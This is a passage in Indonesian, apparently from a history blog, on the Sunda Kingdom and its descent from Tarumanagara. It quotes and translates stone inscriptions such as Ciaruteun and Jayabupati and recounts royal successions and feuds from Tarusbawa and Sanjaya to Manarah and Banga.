sepanjang jalur rel kereta api sampai di tebing Cipakancilan setelah melewati lokasi Jembatan Bondongan. Tebing Cipakancilan memisahkan "ujung benteng" dengan "benteng" pada tebing Kampung Cincaw.<br /><br />Pakuan Ibukota Kerajaan Sunda<br /><br /> <br /><br />Tome Pires (1513) menyebutkan bahwa dayo (dayeuh) Kerajaan Sunda terletak dua hari perjalanan dari Pelabuhan Kalapa yang terletak di muara Ciliwung. Sunda sebagai nama kerajaan tercatat dalam dua buah prasasti batu yang ditemukan di Bogor dan Sukabumi. Prasasti yang di Bogor banyak berhubungan dengan Kerajaan Sunda pecahan Tarumanagara, sedangkan yang di daerah Sukabumi berhubungan dengan Kerajaan Sunda sampai masa Sri Jayabupati.<br /><br /> <br /><br /> <br /><br /> <br /><br />A. Kerajaan Sunda Pecahan Tarumanagara<br /><br />Di Bogor, prasasti itu ditemukan di Pasir Muara, di tepi sawah, tidak jauh dari prasasti Telapak Gajah peninggalan Purnawarman. Prasasti itu kini tak berada ditempat asalnya. Dalam prasasti itu dituliskan : <br /><br /> <br /><br />"ini sabdakalanda rakryan juru panga-mbat i kawihaji panyca pasagi marsa-n desa barpulihkan haji su-nda".<br /><br /> <br /><br />Terjemahannya menurut Bosch:<br /><br /> <br /><br />"Ini tanda ucapan Rakryan Juru Pengambat dalam tahun (Saka) kawihaji (8) panca (5) pasagi (4), pemerintahan begara dikembalikan kepada raja Sunda". <br /><br /> <br /><br />Karena angka tahunnya bercorak "sangkala" yang mengikuti ketentuan "angkanam vamato gatih" (angka dibaca dari kanan), maka prasasti tersebut dibuat dalam tahun 458 Saka atau 536 Masehi. <br /><br /> <br /><br />Beberapa ratus meter dari tempat prasasti itu, ditemukan pula dua prasasti lainnya peninggalan Maharaja Purnawarman yang berhuruf Palawa dan berbahasa Sangsekerta. Dalam literatur, kedua prasasti itu disebut Prasasti Ciaruteun dan Prasasti Kebon Kopi, sebuah daerah bekas perkebunan kopi milik Jonathan Rig. Prasasti Ciaruteun semula terletak pada aliran sungai Ciaruteun, 100 meter dari pertemuan sungai tersebut dengan Cisadane. Tahun 1981 prasasti itu diangkat dan diletakkan dalam cungkup. Prasasti Ciaruteun ditulis dalam bentuk puisi 4 baris, berbunyi: <br /><br /> <br /><br />"vikkrantasyavanipateh shrimatah purnavarmmanah tarumanagararendrasya vishnoriva padadvayam". <br /><br /> <br /><br />Terjemahannya menurut Vogel: <br /><br /> <br /><br />"Kedua (jejak) telapak kaki yang seperti (telapak kaki) Wisnu ini kepunyaan raja dunia yang gagah berani yang termashur Purnawarman penguasa Tarumanagara". <br /><br /> <br /><br />Prasasti Ciaruteun bergambar sepasang "pandatala" (jejak kaki). Gambar jejak telapak kaki menunjukkan tanda kekuasaan yang berfungsi mirip "tanda tangan" seperti jaman sekarang. Kehadiran prasasti Purnawarman di kampung itu menunjukkan bahwa daerah itu termasuk kawasan kekuasaannya. Menurut "Pustaka Rajyarajya i Bhumi Nusantara" parwa II, sarga 3, halaman 161, di antara bawahan Tarumanagara pada masa pemerintahan Purnawarman (395-434 M) terdapat nama "Rajamandala" (Raja daerah) Pasir Muhara. <br /><br /> <br /><br />Lahan tempat prasasti itu ditemukan berbentuk bukit rendah berpermukaan datar dan diapit tiga batang sungai: Cisadane, Cianten dan Ciaruteun. Sampai abad ke-19, tempat itu masih dilaporkan dengan nama Pasir Muara. Dahulu termasuk bagian tanah swasta Ciampea. Sekarang termasuk wilayah Kecamatan Cibungbulang. <br /><br /> <br /><br />Prasasti Telapak Gajah bergambar sepasang telapak kaki gajah yang diberi keterangan satu baris berbentuk puisi berbunyi: <br /><br /> <br /><br />"jayavi s halasya tarumendrsaya hastinah airavatabhasya vibhatidam padadavayam" <br /><br /> <br /><br />(Kedua jejak telapak kaki adalah jejak kaki gajah yang cemerlang seperti Airawata kepunyaan penguasa Tarumanagara yang jaya dan berkuasa). <br /><br /> <br /><br />Menurut mitologi Hindu, Airawata adalah nama gajah tunggangan Batara Indra dewa perang dan penguawa Guntur. Menurut Pustaka Parawatwan i Bhumi Jawadwipa parwa I, sarga 1, gajah perang Purnawarman diberi nama Airawata seperti nama gajah tunggangan Indra. Bahkan diberitakan juga, bendera Kerajaan Tarumanagara berlukiskan rangkaian bunga teratai di atas kepala gajah. Demikian pula mahkota yang dikenakan Purnawarman berukiran sepasang lebah. <br /><br /> <br /><br />Ukiran bendera dan sepasang lebah itu dengan jelas ditatahkan pada prasasti Ciaruteun yang telah memancing perdebatan mengasyikkan di antara para ahli sejarah mengenai makna dan nilai perlambangannya. Ukiran kepala gajah bermahkota teratai ini oleh para ahli diduga sebagai "huruf ikal" yang masih belum terpecahkan bacaaanya sampai sekarang. Demikian pula tentang ukiran sepasang tanda di depan telapak kaki ada yang menduganya sebagai lambang labah-labah, matahari kembar atau kombinasi surya-candra (matahari dan bulan). Keterangan pustaka dari Cirebon tentang bendera Tarumanagara dan ukiran sepasang "bhramara" (lebah) sebagai cap pada mahkota Purnawarman dalam segala "kemudaan" nilainya sebagai sumber sejarah harus diakui kecocokannya dengan lukisan yang terdapat pada prasasti Ciaruteun. <br /><br /> <br /><br />Di daerah Bogor, masih ada satu lagi prasasti lainnya yaitu prasasti batu peninggalan Tarumanagara yang terletak di puncak Bukit Koleangkak, Desa Pasir Gintung, Kecamatan Leuwiliang. Pada bukit ini mengalir (sungai) Cikasungka. Prasasti inipun berukiran sepasang telapak kaki dan diberi keterangan berbentuk puisi dua baris : <br /><br /> <br /><br />"shriman data kertajnyo narapatir - asamo yah pura tarumayam nama shri purnnavarmma pracurarupucara fedyavikyatavammo tasyedam - padavimbadavyam arnagarotsadane nitya-dksham bhaktanam yangdripanam - bhavati sukhahakaram shalyabhutam ripunam". <br /><br /> <br /><br />Terjemahannya menurut Vogel : <br /><br /> <br /><br />"Yang termashur serta setia kepada tugasnya ialah raja yang tiada taranya bernama Sri Purnawarman yang memerintah Taruma serta baju perisainya tidak dapat ditembus oleh panah musuh-musuhnya; kepunyaannyalah kedua jejak telapak kaki ini, yang selalu berhasil menghancurkan benteng musuh, yang selalu menghadiahkan jamuan kehormatan (kepada mereka yang setia kepadanya), tetapi merupakan duri bagi musuh-musuhnya". <br /><br /> <br /><br />Kerajaan Taruma didirikan Rajadirajaguru Jayasingawarman dalam tahun 358 M. Ia wafat tahun 382 dan dipusarakan di tepi kali Gomati (Bekasi). Ia digantikan oleh puteranya, Dharmayawarman (382 - 395 M) yang setelah wafat dipusarakan di tepi kali Candrabaga. Purnawarman adalah raja Tarumanagara yang ketiga (395 - 434 M). Ia membangun ibukota kerajaan baru dalam tahun 397 yang terletak lebih dekat ke pantai dan dinamainya "Sundapura". <br /><br /> <br /><br />Kampung Muara tempat prasasti Ciaruteun dan Telapak Gajah ditemukan, dahulu merupakan sebuah "kota pelabuhan sungai" yang bandarnya terletak di tepi pertemuan Cisadane dengan Cianten. Sampai abad ke-19 jalur sungai itu masih digunakan untuk angkutan hasil perkebunan kopi. Sekarang masih digunakan oleh pedagang bambu untuk mengangkut barang dagangannya ke daerah hilir. <br /><br /> <br /><br />Prasasti Pasir Muara yang menyebutkan peristiwa pengembalian pemerintahan kepada Raja Sunda itu dibuat tahun 536 M. Dalam tahun tersebut yang menjadi penguasa Tarumanagara adalah Suryawarman (535 - 561 M) Raja Tarumanagara ke-7. Pustaka Jawadwipa, parwa I, sarga 1 (halaman 80 dan 81) memberikan keterangan bahwa dalam masa pemerintahan Candrawarman (515-535 M), ayah Suryawarman, banyak penguasa daerah yang menerima kembali kekuasaan pemerintahan atas daerahnya sebagai hadiah atas kesetiaannya terhadap Tarumanagara. Ditinjau dari segi ini, maka Suryawarman melakukan hal yang sama sebagai lanjutan politik ayahnya. <br /><br /> <br /><br />Rakeyan Juru Pengambat yang tersurat dalam prasasti Pasir Muara mungkin sekali seorang pejabat tinggi Tarumanagara yang sebelumnya menjadi wakil raja sebagai pimpinan pemerintahan di daerah tersebut. Yang belum jelas adalah mengapa prasasti mengenai pengembalian pemerintahan kepada Raja Sunda itu terdapat di sana? Apakah daerah itu merupakan pusat Kerajaan Sunda atau hanya sebuah tempat penting yang termasuk kawasan Kerajaan Sunda? <br /><br /> <br /><br />Nama Sunda mulai digunakan oleh Maharaja Purnawarman dalam tahun 397 M untuk menyebut ibukota kerajaan yang didirikannya. Baik sumber-sumber prasasti maupun sumber-sumber Cirebon memberikan keterangan bahwa Purnawarman berhasil menundukkan musuh-musuhnya. Prasasti Munjul di Pandeglang menunjukkan bahwa wilayah kekuasaannya mencakup pula pantai Selat Sunda. Pustaka Nusantara, parwa II sarga 3 (halaman 159 - 162) menyebutkan bahwa di bawah kekuasaan Purnawarman terdapat 48 raja daerah yang membentang dari Salakanagara atau Rajatapura (di daerah Teluk Lada Pandeglang) sampai ke Purwalingga (sekarang Purbolinggo) di Jawa Tengah. Secara tradisional Cipamali (Kali Brebes) memang dianggap batas kekuasaan raja-raja penguasa Jawa Barat pada masa silam. <br /><br /> <br /><br />Kehadiran Prasasti Purnawarman di Pasir Muara, yang memberitakan Raja Sunda dalam tahun 536 M, merupakan gejala bahwa Ibukota Sundapura telah berubah status menjadi sebuah kerajaan daerah. Hal ini berarti, pusat pemerintahan Tarumanagara telah bergeser ke tempat lain. Contoh serupa dapat dilihat dari kedudukaan Rajatapura atau Salakanagara (kota Perak), yang disebut Argyre oleh Ptolemeus dalam tahun 150 M. Kota ini sampai tahun 362 menjadi pusat pemerintahan Raja-raja Dewawarman (dari Dewawarman I - VIII). <br /><br /> <br /><br />Ketika pusat pemerintahan beralih dari Rajatapura ke Tarumangara, maka Salakanagara berubah status menjadi kerajaan daerah. Jayasingawarman pendiri Tarumanagara adalah menantu Raja Dewawarman VIII. Ia sendiri seorang Maharesi dari Salankayana di India yang mengungsi ke Nusantara karena daerahnya diserang dan ditaklukkan Maharaja Samudragupta dari Kerajaan Magada. <br /><br /> <br /><br />Suryawarman tidak hanya melanjutkan kebijakan politik ayahnya yang memberikan kepercayaan lebih banyak kepada raja daerah untuk mengurus pemerintahan sendiri, melainkan juga mengalihkan perhatiannya ke daerah bagian timur. Dalam tahun 526 M, misalnya, Manikmaya, menantu Suryawarman, mendirikan kerajaan baru di Kendan, daerah Nagreg antara Bandung dan Limbangan, Garut. Putera tokoh Manikmaya ini tinggal bersama kakeknya di ibukota Tarumangara dan kemudian menjadi Panglima Angkatan Perang Tarumanagara. Perkembangan daerah timur menjadi lebih berkembang ketika cicit Manikmaya mendirikan Kerajaan Galuh dalam tahun 612 M. <br /><br /> <br /><br />Tarumanagara sendiri hanya mengalami masa pemerintahan 12 orang raja. Dalam tahun 669, Linggawarman, raja Tarumanagara terakhir, digantikan menantunya, Tarusbawa. Linggawarman sendiri mempunyai dua orang puteri, yang sulung bernama Manasih menjadi istri Tarusbawa dan yang kedua bernama Sobakancana menjadi isteri Dapuntahyang Sri Jayanasa pendiri Kerajaan Sriwijaya. <br /><br /> <br /><br />Tarusbawa yang berasal dari Kerajaan Sunda Sambawa menggantikan mertuanya menjadi penguasa Tarumanagara yang ke-13. Karena pamor Tarumanagara pada zamannya sudah sangat menurun, ia ingin mengembalikan keharuman jaman Purnawarman yang berkedudukan di purasaba (ibukota) Sundapura. Dalam tahun 670 M, ia mengganti nama Tarumanagara menjadi Kerajaan Sunda. Peristiwa ini dijadikan alasan oleh Wretikandayun, pendiri Kerajaan Galuh, untuk memisahkan negaranya dari kekuasaan Tarusbawa. <br /><br /> <br /><br />Karena Putera Mahkota Galuh berjodoh dengan Parwati puteri Maharani Sima dari Kerajaan Kalingga, Jawa Tengah, maka dengan dukungan Kalingga, Wretikandayun menuntut kepada Tarusbawa supaya bekas kawasan Tarumanagara dipecah dua. Dalam posisi lemah dan ingin menghindarkan perang saudara, Tarusbawa menerima tuntutan Galuh. Dalam tahun 670 M Kawasan Tarumanagara dipecah menjadi duakerajaan, yaitu: Kerajaan Sunda dan Kerajaan Galuh dengan Citarum sebagai batas. <br /><br /> <br /><br />Maharaja Tarusbawa kemudian mendirikan ibukota kerajaan yang baru, seperti yang sudah diungkapkan dibagian sebelumnya, di daerah pedalaman dekat hulu Cipakancilan. Dalam cerita Parahiyangan, tokoh Tarusbawa ini hanya disebut dengan gelarnya: Tohaan di Sunda (Raja Sunda). Ia menjadi cakalbakal raja-raja Sunda dan memerintah sampai tahun 723 M. <br /><br /> <br /><br />Karena putera mahkota wafat mendahului Tarusbawa, maka anak wanita dari putera mahkota (bernama Tejakancana) diangkat sebagai anak dan ahli waris kerajaan. Suami puteri inilah yang dalam tahun 723 menggantikan Tarusbawa menjadi Raja Sunda II. Cicit Wretikandayun ini bernama Rakeyan Jamri. Sebagai penguasa Kerajaan Sunda ia dikenal dengan nama Prabu Harisdarma dan kemudian setelah menguasai Kerajaan Galuh ia lebih dikenal dengan Sanjaya. <br /><br /> <br /><br />Sebagai ahli waris Kalingga ia kemudian menjadi penguasa Kalingga Utara yang disebut Bumi Mataram dalam tahun 732 M. Kekuasaan di Jawa Barat diserahkannya kepada puteranya dari Tejakencana, Tamperan atau Rakeyan Panaraban. Ia adalah kakak seayah Rakai Panangkaran, putera Sanjaya dari Sudiwara puteri Dewasinga Raja Kalingga Selatan atau Bumi Sambara. <br /><br /> <br /><br />Telah diungkapkan di awal bahwa nama Sunda sebagai kerajaan tersurat pula dalam prasasti yang ditemukan di daerah Sukabumi. Prasasti ini terdiri atas 40 baris sehingga memerlukan empat (4) buah batu untuk menuliskannya. Keempat batu bertulis itu ditemukan pada aliran Cicatih di daerah Cibadak. Tiga ditemukan di dekat Kampung Bantar Muncang, sebuah ditemukan di dekat Kampung Pangcalikan. Keunikan prasasti ini adalah disusun dalam huruf dan bahasa Jawa Kuno. Keempat prasasti itu sekarang disimpan di Museum Pusatdengan nomor kode D 73 (dari Cicatih), D 96, D 97 dan D 98. Isi ketiga batu pertama (menurut Pleyte): <br /><br /> <br /><br />D 73 : <br /><br /> <br /><br />//O// Swasti shakawarsatita 952 karttikamasa tithi dwadashi shuklapa-ksa. ha. ka. ra. wara tambir. iri- ka diwasha nira prahajyan sunda ma-haraja shri jayabhupati jayamana- hen wisnumurtti samarawijaya shaka-labhuwanamandaleswaranindita harogowardhana wikra-mottunggadewa, ma- <br /><br /> <br /><br />D 96 : gaway tepek i purwa sanghyang tapak ginaway denira shri jayabhupati prahajyan sunda. mwang tan hanani baryya baryya shila. irikang lwah tan pangalapa ikan sesini lwah. Makahingan sanghyang tapak wates kapujan i hulu, i sor makahingan ia sanghyang tapak wates kapujan i wungkalagong kalih matangyan pinagawayaken pra-sasti pagepageh. mangmang sapatha. <br /><br /> <br /><br />D 97 : sumpah denira prahajyan sunda. lwirnya nihan. <br /><br /> <br /><br />Terjemahannya : <br /><br /> <br /><br />Selamat. Dalam tahun Saka 952 bulan Kartika tanggal 12 bagian terang, hari Hariang, Kaliwon, Ahad, Wuku Tambir. Inilah saat Raja Sunda Maharaja Sri Jayabupati Jayamanahen Wisnumurti Samarawijaya Sakalabuwanamandaleswaranindita Haro Gowardhana Wikramottunggadewa, membuat tanda di sebelah timur Sanghiyang Tapak. Dibuat oleh Sri Jayabupati Raja Sunda. Dan jangan ada yang melanggar ketentuan ini. Di sungai ini jangan (ada yang) menangkap ikan di sebelah sini sungai dalam batas daerah pemujaan Sanghyang Tapak sebelah hulu. Di sebelah hilir dalam batas daerah pemujaan Sanghyang Tapak pada dua batang pohon besar. Maka dibuatlah prasasti (maklumat) yang dikukuhkan dengan Sumpah. <br /><br /> <br /><br />Sumpah yang diucapkan oleh Raja Sunda lengkapnya tertera pada prasasti keempat (D 98). Terdiri dari 20 baris, intinya menyeru semua kekuatan gaib di dunia dan disurga agar ikut melindungi keputusan raja. Siapapun yang menyalahi ketentuan tersebut diserahkan penghukumannya kepada semua kekuatan itu agar dibinasakan dengan menghisap otaknya, menghirup darahnya, memberantakkan ususnya dan membelah dadanya. Sumpah itu ditutup dengan kalimat seruan, "I wruhhanta kamung hyang kabeh" (Ketahuilah olehmu parahiyang semuanya). <br /><br /> <br /><br />Kehadiran Prasasti Jayabupati di daerah Cibadak sempat membangkitkan dugaan bahwa Ibukota Kerajaan Sunda terletak di daerah itu. Namun dugaan itu tidak didukung oleh bukti-bukti sejarah lainnya. Isi prasasti hanya menyebutkan larangan menangkap ikan pada bagian sungai (Cicatih) yang termasuk kawasan Kabuyutan Sanghiyang Tapak. Sama halnya dengan kehadiran batu bertulis Purnawarman di Pasir Muara dan Pasir Koleangkak yang tidakmenunjukkan letak Ibukota Tarumanagara. <br /><br /> <br /><br />Tanggal pembuatan Prasasti Jayabupati bertepatan dengan 11 Oktober 1030. Menurut Pustaka Nusantara, Parwa III sarga 1, Sri Jayabupati memerintah selama 12 tahun (952 - 964) saka (1030 -1042 M). Isi prasasti itu dalam segala hal menunjukkan corak Jawa Timur. Tidak hanya huruf, bahasa dan gaya, melainkan juga gelar raja yang mirip dengan gelar raja di lingkungan Keraton Darmawangsa. Tokoh Sri Jayabupati dalam Carita Parahiyangan disebut dengan nama Prabu Detya Maharaja. Ia adalah raja Sunda ke-20 setalah Maharaja Tarusbawa. <br /><br /> <br /><br />Telah diungkapkan sebelumnya, bahwa Kerajaan Sunda adalah pecahan Tarumanagara. Peristiwa itu terjadi tahun 670 M. Hal ini sejalan dengan sumber berita Cina yang menyebutkan bahwa utusan Tarumanagara yang terakhir mengunjungi negeri itu terjadi tahun 669 M. Tarusbawa memang mengirimkan utusan yang memberitahukan penobatannya kepada Raja Cina dalam tahun 669 M. Ia sendiri dinobatkan pada tanggal 9 bagian-terang bulan Jesta tahun 591 Saka, kira-kira bertepatan dengan tanggal 18 Mei 669 M. <br /><br /> <br /><br />Tarusbawa adalah sahabat baik Bratasenawa alis Sena (709 - 716 M), Raja Galuh ketiga. Tokoh ini adalah tokoh Sanna, ayah Sanjaya dalam Prasasti Canggal (732 M). Persahabatan ini pula yang mendorong Tarusbawa mengambil Sanjaya menjadi menantunya. Bratasenawa alias Sanna atau Sena digulingkan dari tahta Galuh oleh Purbasora dalam tahun 716 M. Purbasora adalah cucu Wretikandayun dari putera sulungnya, Batara Danghyang Gurusempakwaja, pendiri kerajaan Galunggung. Sedangkan Sena adalah cucu Wretikandayun dari putera bungsunya, Mandiminyak, raja Galuh kedua (702-709 M). <br /><br /> <br /><br />Sebenarnya Purbasora dan Sena adalah saudara satu ibu karena hubungan gelap antara Mandiminyak dengan istri Sempakwaja. Tokoh Sempakwaja tidak dapat menggantikan kedudukan ayahnya menjadi Raja Galuh karena ompong. Sementara, seorang raja tak boleh memiliki cacat jasmani. Karena itulah, adiknya yang bungsu yang mewarisi tahta Galuh dari Wretikandayun. Tapi, putera Sempakwaja merasa tetap berhak atas tahta Galuh. Lagipula asal-usul Raja Sena yang kurang baik telah menambah hasrat Purbasora untuk merebut tahta Galuh dari Sena. <br /><br /> <br /><br />Dengan bantuan pasukan dari mertuanya, Raja Indraprahasta, sebuah kerjaan di daerah Cirebon sekarang, Purbasora melancarkan perebutan tahta Galuh. Sena melarikan diri ke Kalingga, ke kerajaan nenek isterinya, Maharani Simma. Sanjaya, anak Sena, berniat menuntut balas terhadap keluarga Pubasora. Untuk itu ia meminta bantuan Tarusbawa, sahabat Sena. Hasratnya dilaksanakan setelah menjadi Raja Sunda yang memerintah atas nama isterinya. <br /><br /> <br /><br />Sebelum itu ia telah menyiapkan pasukan khusus di daerah Gunung Sawal atas bantuan Rabuyut Sawal, yang juga sahabat baik Sena. Pasukan khusus ini langsung dipimpin Sanjaya, sedangkan pasukan Sunda dipimpin Patih Anggada. Serangan dilakukan malam hari dengan diam-diam dan mendadak. Seluruh keluarga Purbasora gugur. Yang berhasil meloloskan diri hanyalah menantu Purbasora, yang menjadi Patih Galuh, bersama segelintir pasukan. <br /><br /> <br /><br />Patih itu bernama Bimaraksa yang lebih dikenal dengan Ki Balangantrang karena ia merangkap sebagai senapati kerajaan. Balangantrang ini juga cucu Wretikandayun dari putera kedua bernama Resi Guru Jantaka atau Rahiyang Kidul, yang tak bisa menggantikan Wretikandayun karena menderita "kemir" atau hernia. Balangantrang bersembunyi di kampung Gegegr Sunten dan dengan diam-diam menghimpun kekuatan anti Sanjaya. Ia mendapat dukungan dari raja-raja di daerah Kuningan dan juga sisa-sisa laskar Indraprahasta, setelah kerajaan itu juga dilumatkan oleh Sanjaya sebagai pembalasan karena dulu membantu Purbasora menjatuhkan Sena. <br /><br /> <br /><br />Sanjaya mendapat pesan dari ayahnya, Sena, bahwa kecuali Purbasora, anggota keluarga Keraton Galuh lainnya harus tetap dihormati. Sanjaya sendiri tidak berhasrat menjadi penguasa Galuh. Ia melalukan penyerangan hanya untuk menghapus dendam ayahnya. Setelah berhasil mengalahkanPurbasora, ia segera menghubungi uwaknya, Sempakwaja, di Galunggung dan meminta beliau agar Demunawan, adik Purbasora, direstui menjadi Penguasa Galuh. Akan tetapi Sempakwaja menolak permohonan itu karena takut kalau-kalau hal tersebut merupakan muslihat Sanjaya untuk melenyapkan Demunawan.<br /><br /> <br /><br />Sanjaya sendiri tidak bisa menghubungi Balangantrang karena ia tak mengetahui keberadaannya. Akhirnya Sanjaya terpaksa mengambil hak untuk dinobatkan sebagai Raja Galuh. Ia menyadari bahwa kehadirannya di Galuh kurang disenangi. Selain itu sebagai Raja Sunda ia sendiri harus berkedudukan di Pakuan. Untuk pimpinan pemerintahan di Galuh ia menganngkat Premana Dikusuma, cucu Purbasora. Premana Dikusuma saat itu berkedudukan sebagai raja daerah. Dalam usia 43 tahun (lahir tahun 683 M), ia telah dikenal sebagai raja resi karena ketekunannya mendalami agama dan bertapa sejak muda. Ia dijuluki Bagawat Sajalajaya. <br /><br /> <br /><br />Penunjukkan Premana oleh Sanjaya cukup beralasan karena ia cucu Purbasora. Selain itu, isterinya, Naganingrum, adalah cucu Ki Balangantrang. Jadi suami istri itu mewakili keturunan Sempakwaja dan Jantaka, putera pertama dan kedua Wretikandayun. <br /><br /> <br /><br />Pasangan Premana dan Naganingrum sendiri memiliki putera bernama Surotama alias Manarah (lahir 718 M, jadi ia baru berusia 5 tahun ketika Sanjaya menyerang Galuh). Surotama atau Manarah dikenal dalam literatur Sunda klasik sebagai Ciung Wanara. Kelak di kemudian hari, Ki Bimaraksa alias Ki Balangantrang, buyut dari ibunya, yang akan mengurai kisah sedih yang menimpa keluarga leluhurnya dan sekaligus menyiapkan Manarah untuk melakukan pembalasan. <br /><br /> <br /><br />Untuk mengikat kesetiaan Premana Dikusumah terhadap pemerintahan pusat di Pakuan, Sanjaya menjodohkan Raja Galuh ini dengan Dewi Pangrenyep, puteri Anggada, Patih Sunda. Selain itu Sanjaya menunjuk puteranya, Tamperan, sebagai Patih Galuh sekaligus memimpin "garnizun" Sunda di ibukota Galuh. <br /><br /> <br /><br />Premana Dikusumah menerima kedudukan Raja Galuh karena terpaksa keadaan. Ia tidak berani menolak karena Sanjaya memiliki sifat seperti Purnawarman, baik hati terhadap raja bawahan yang setia kepadanya dan sekaligus tak mengenal ampun terhadap musuh-musuhnya. Penolakan Sempakwaja dan Demunawan masih bisa diterima oleh Sanjaya karena mereka tergolong angkatan tua yang harus dihormatinya. <br /><br /> <br /><br />Kedudukan Premana serba sulit, ia sebagai Raja Galuh yang menjadi bawahan Raja Sunda yang berarti harus tunduk kepada Sanjaya yang telah membunuh kakeknya. Karena kemelut seperti itu, maka ia lebih memilih meninggalkan istana untuk bertapa di dekat perbatasan Sunda sebelah timur Citarum dan sekaligus juga meninggalkan istrinya, Pangrenyep. Urusan pemerintahan diserahkannya kepada Tamperan, Patih Galuh yang sekaligus menjadi "mata dan telinga" Sanjaya. Tamperan mewarisi watak buyutnya, Mandiminyak yang senang membuat skandal. Ia terlibat skandal dengan Pangrenyep, istri Premana, dan membuahkan kelahiran Kamarasa alias Banga (723 M). <br /><br /> <br /><br />Skandal itu terjadi karena beberapa alasan, pertama Pangrenyep pengantin baru berusia 19 tahun dan kemudian ditinggal suami bertapa; kedua keduanya berusia sebaya dan telah berkenalan sejak lama di Keraton Pakuan dan sama-sama cicit Maharaja Tarusbawa; ketiga mereka sama-sama merasakan derita batin karena kehadirannya sebagai orang Sunda di Galuh kurang disenangi. <br /><br /> <br /><br />Untuk menghapus jejak Tamperan mengupah seseorang membunuh Premana dan sekaligus diikuti pasukan lainnya sehingga pembunuh Premana pun dibunuh pula. Semua kejadian ini rupanya tercium oleh senapati tua Ki Balangantrang. <br /><br /> <br /><br />Dalam tahun 732 M Sanjaya mewarisi tahta Kerajaan Medang dari orangtuanya. Sebelum ia meninggalkan kawasan Jawa Barat, ia mengatur pembagian kekuasaan antara puteranya, Tamperan, dan Resiguru Demunawan. Sunda dan Galuh menjadi kekuasaan Tamperan, sedangkan Kerajaan Kuningan dan Galunggung diperintah oleh Resiguru Demunawan, putera bungsu Sempakwaja. <br /><br /> <br /><br />Demikianlah Tamperan menjadi penguasa Sunda-Galuh melanjutkan kedudukan ayahnya dari tahun 732 - 739 M. Sementara itu Manarah alias Ciung Wanara secara diam-diam menyiapkan rencana perebutan tahta Galuh dengan bimbingan buyutnya, Ki Balangantrang, di Geger Sunten. Rupanya Tamperan lalai mengawasi anak tirinya ini yang ia perlakukan seperti anak sendiri. <br /><br /> <br /><br />Sesuai dengan rencana Balangantrang, penyerbuan ke Galuh dilakukan sianghari bertepatan dengan pesta sabung ayam. Semua pembesar kerajaan hadir, termasuk Banga. Manarah bersama anggota pasukannya hadir dalam gelanggang sebagai penyabung ayam. Balangantrang memimpin pasukan Geger Sunten menyerang keraton. <br /><br /> <br /><br />Kudeta itu berhasil dalam waktu singkat seperti peristiwa tahun 723 ketika Sanjaya berhasil menguasai Galuh dalam tempo satu malam. Raja dan permaisuri Pangrenyep termasuk Banga dapat ditawan di gelanggang sabung ayam. Banga kemudian dibiarkan bebas. Pada malam harinya ia berhasil membebaskan Tamperan dan Pangrenyep dari tahanan. <br /><br /> <br /><br />Akan tetapi hal itu diketahui oleh pasukan pengawal yang segera memberitahukannya kepada Manarah. Terjadilah pertarungan antara Banga dan Manarah yang berakhirdengan kekalahan Banga. Sementara itu pasukan yang mengejar raja dan permaisuri melepaskan panah-panahnya di dalam kegelapan sehingga menewaskan Tamperan dan Pangrenyep. <br /><br /> <br /><br />Berita kematian Tamperan didengar oleh Sanjaya yang ketika itu memerintah di Medang yang kemudian dengan pasukan besar menyerang purasaba Galuh. Namun Manarah telah menduga itu sehingga ia telah menyiapkan pasukan yang juga didukung oleh sisa-sisa pasukan Indraprahasta yang ketika itu sudah berubah nama menjadi Wanagiri, dan raja-raja di daerah Kuningan yang pernah dipecundangi Sanjaya. <br /><br /> <br /><br />Perang besar sesama keturunan Wretikandayun itu akhirnya bisa dilerai oleh Rajaresi Demunawan (lahir 646 M, ketika itu berusia 93 tahun). Dalam perundingan di keraton Galuh dicapai kesepakatan: Galuh diserahkan kepada Manarah dan Sunda kepada Banga. Demikianlah lewat perjanjian Galuh tahun739 ini, Sunda dan Galuh yang selama periode 723 - 739 berada dalam satukekuasan terpecah kembali. Dalam perjanjian itu ditetapkan pula bahwa Banga menjadi raja bawahan. Meski Banga kurang senang, tetapi ia menerima kedudukan itu. Ia sendiri merasa bahwa ia bisa tetap hidup atas kebaikan hati Manarah. <br /><br /> <br /><br />Untuk memperteguh perjanjian, Manarah dan Banga dijodohkan dengan kedua cicit Demunawan. Manarah sebagai penguasa Galuh bergelar Prabu Jayaprakosa Mandaleswara Salakabuana memperistri Kancanawangi. Banga sebagai Raja Sunda bergelar Prabu Kretabuana Yasawiguna Aji Mulya dan berjodoh dengan Kancanasari, adik Kancanawangi. <br /><br /> <br /><br />Naskah tua dari kabuyutan Ciburuy, Bayongbong, Garut, yang ditulis pada abad ke-13 atau ke-14 memberitakan bahwa Rakeyan Banga pernah membangun parit Pakuan. Hal ini dilakukannya sebagai persiapan untuk mengukuhkan diri sebagai raja yang merdeka. Ia harus berjuang 20 tahun sebelum berhasil menjadi penguasa yang diakui di sebelah barat Citarum dan lepas dari kedudukan sebagi raja bawahan Galuh. Ia memerintah 27 tahun lamanya (739 - 766). <br /><br /> <br /><br />Manarah di Galuh memerintah sampai tahun 783. Ia dikaruniai umur panjang. Dalam tahun tersebut ia melakukan manurajasuniya, mengundurkan diri dari tahta kerajaan untuk melakukan tapa sampai akhir hayat, dan baru wafat tahun 798 dalam usia 80 tahun. <br /><br /> <br /><br />Dalam naskah-naskah babad, posisi Manarah dan Banga ini dikacaukan. Tidak saja dalam hal usia, di mana Banga dianggap lebih tua. Tapi, juga dalam penempatan mereka sebagai raja. Dalam naskah-naskah tua, silsilah raja-raja Pakuan selalu dimulai dengan tokoh Banga. Kekacauan silsilah dan penempatan posisi itu mulai tampak dalam naskah Carita Waruga Guru yang ditulis pada pertengahan abad 18. <br /><br /> <br /><br />Kekeliruan paling menyolok dalam babad ialah kisah Banga yang dianggap sebagai pendiri kerajaan Majapahit. Padahal, Majapahit baru didirikan Wijaya dalam tahun 1293, 527 tahun setelah Banga wafat. Kekalutan itu dapat dibandingkan dengan kisah pertemuan Walangsungsang dengan Sayidina Ali yang masa hidupnya berselisih 8 1/2 abad. <br /><br /> <br /><br />Keturunan Manarah putus hanya sampai cicitnya yang bernama Prabulinggabumi (813 - 852). Tahta Galuh diserahkan kepada suami adiknya yaitu Rakeyan Wuwus alias Prabu Gajah Kulon (819 - 891), cicit Banga yang menjadi Raja Sunda ke-8 (dihitung dari Tarusbawa). Sejak tahun 852 M kedua kerajaan pecahan Tarumanagara itu diperintah oleh keturunan Banga sebagai akibat perkawinan di antara para kerabat keraton:<br /><br />Sunda -Galuh-Kuningan (Saunggalah).<br /><br /> <br /><br />Sri Jayabupati yang prasastinya telah dibicarakan di muka adalah Raja Sunda yang ke-20. Ia putra Sanghiyang Ageng (1019 